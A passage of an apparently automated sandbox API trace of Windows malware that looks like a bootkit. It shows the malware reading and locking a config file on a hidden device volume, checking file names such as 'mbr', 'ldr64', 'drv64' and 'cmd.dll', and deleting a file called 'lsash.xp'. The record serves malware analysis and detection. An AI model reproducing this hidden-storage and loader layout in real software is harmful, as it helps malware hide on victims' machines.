_snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.119] KeEnterCriticalRegion () [0123.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.119] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.119] IdePortDispatch () returned 0x103 [0123.119] KeWaitForMutexObject () returned 0x0 [0123.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.119] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.119] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.119] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.119] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.119] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2e50 [0123.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.119] KeLeaveCriticalRegion () [0123.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.120] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.120] KeEnterCriticalRegion () [0123.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.120] KeLeaveCriticalRegion () [0123.120] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.120] KeEnterCriticalRegion () [0123.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.120] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.120] IdePortDispatch () returned 0x103 [0123.120] KeWaitForMutexObject () returned 0x0 [0123.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.120] KeLeaveCriticalRegion () [0123.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.120] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.120] KeEnterCriticalRegion () [0123.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.120] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db3000 [0123.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.121] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.121] IdePortDispatch () returned 0x103 [0123.121] KeWaitForMutexObject () returned 0x0 [0123.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.121] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.121] IdePortDispatch () returned 0x103 [0123.121] KeWaitForMutexObject () returned 0x0 [0123.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.121] KeLeaveCriticalRegion () [0123.121] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.122] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.122] KeEnterCriticalRegion () [0123.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] KeLeaveCriticalRegion () [0123.122] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.122] KeEnterCriticalRegion () [0123.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.122] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] KeLeaveCriticalRegion () [0123.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.122] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.122] KeEnterCriticalRegion () [0123.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] ExFreePoolWithTag (P=0xfffffa8003be2e50, Tag=0x0) [0123.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] KeLeaveCriticalRegion () [0123.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.122] ReleaseMutex (hMutex=0xf0) returned 1 [0123.122] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.122] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.122] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.122] KeEnterCriticalRegion () [0123.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.122] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.122] IdePortDispatch () returned 0x103 [0123.123] KeWaitForMutexObject () returned 0x0 [0123.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.123] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.123] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.123] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.123] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.123] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea010 [0123.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.123] KeLeaveCriticalRegion () [0123.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.123] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.123] KeEnterCriticalRegion () [0123.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.123] KeLeaveCriticalRegion () [0123.123] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.124] KeEnterCriticalRegion () [0123.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.124] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.124] IdePortDispatch () returned 0x103 [0123.124] KeWaitForMutexObject () returned 0x0 [0123.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.124] KeLeaveCriticalRegion () [0123.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.124] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.124] KeEnterCriticalRegion () [0123.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.124] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db4000 [0123.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.124] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.124] IdePortDispatch () returned 0x103 [0123.124] KeWaitForMutexObject () returned 0x0 [0123.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.124] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.124] IdePortDispatch () returned 0x103 [0123.124] KeWaitForMutexObject () returned 0x0 [0123.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.125] KeLeaveCriticalRegion () [0123.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.125] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.125] KeEnterCriticalRegion () [0123.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.125] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.125] KeLeaveCriticalRegion () [0123.125] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.125] KeEnterCriticalRegion () [0123.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.125] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.125] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9530, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.125] KeLeaveCriticalRegion () [0123.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.125] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.125] KeEnterCriticalRegion () [0123.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.125] ExFreePoolWithTag (P=0xfffffa8003bea010, Tag=0x0) [0123.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.126] KeLeaveCriticalRegion () [0123.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.126] ReleaseMutex (hMutex=0xf0) returned 1 [0123.126] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.126] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.126] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.126] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.126] KeEnterCriticalRegion () [0123.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.126] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.126] IdePortDispatch () returned 0x103 [0123.126] KeWaitForMutexObject () returned 0x0 [0123.126] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.126] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.126] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.126] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.126] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.126] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.126] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.126] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.126] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.126] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.126] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.126] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.126] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.126] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.126] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.126] KeLeaveCriticalRegion () [0123.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.126] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.126] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.127] KeEnterCriticalRegion () [0123.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.127] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.127] IdePortDispatch () returned 0x103 [0123.127] KeWaitForMutexObject () returned 0x0 [0123.127] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.127] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.127] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.127] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.127] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.127] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.127] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.127] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.127] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.127] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.127] KeLeaveCriticalRegion () [0123.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.127] ReleaseMutex (hMutex=0x100) returned 1 [0123.127] Sleep (dwMilliseconds=0x2bf20) [0123.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c965cb0, dwHighDateTime=0x1d24fa4)) [0123.134] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.134] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.134] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.134] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.134] KeEnterCriticalRegion () [0123.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.134] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.134] IdePortDispatch () returned 0x103 [0123.134] KeWaitForMutexObject () returned 0x0 [0123.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.135] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.135] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.135] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.135] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.135] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9860 [0123.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.135] KeLeaveCriticalRegion () [0123.135] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.135] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.135] KeEnterCriticalRegion () [0123.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.135] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.135] KeLeaveCriticalRegion () [0123.135] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.135] KeEnterCriticalRegion () [0123.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.135] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.135] IdePortDispatch () returned 0x103 [0123.135] KeWaitForMutexObject () returned 0x0 [0123.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.135] KeLeaveCriticalRegion () [0123.135] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.135] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.135] KeEnterCriticalRegion () [0123.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db7000 [0123.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.136] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.136] IdePortDispatch () returned 0x103 [0123.136] KeWaitForMutexObject () returned 0x0 [0123.136] _strnicmp (_Str1="cfg.ini", 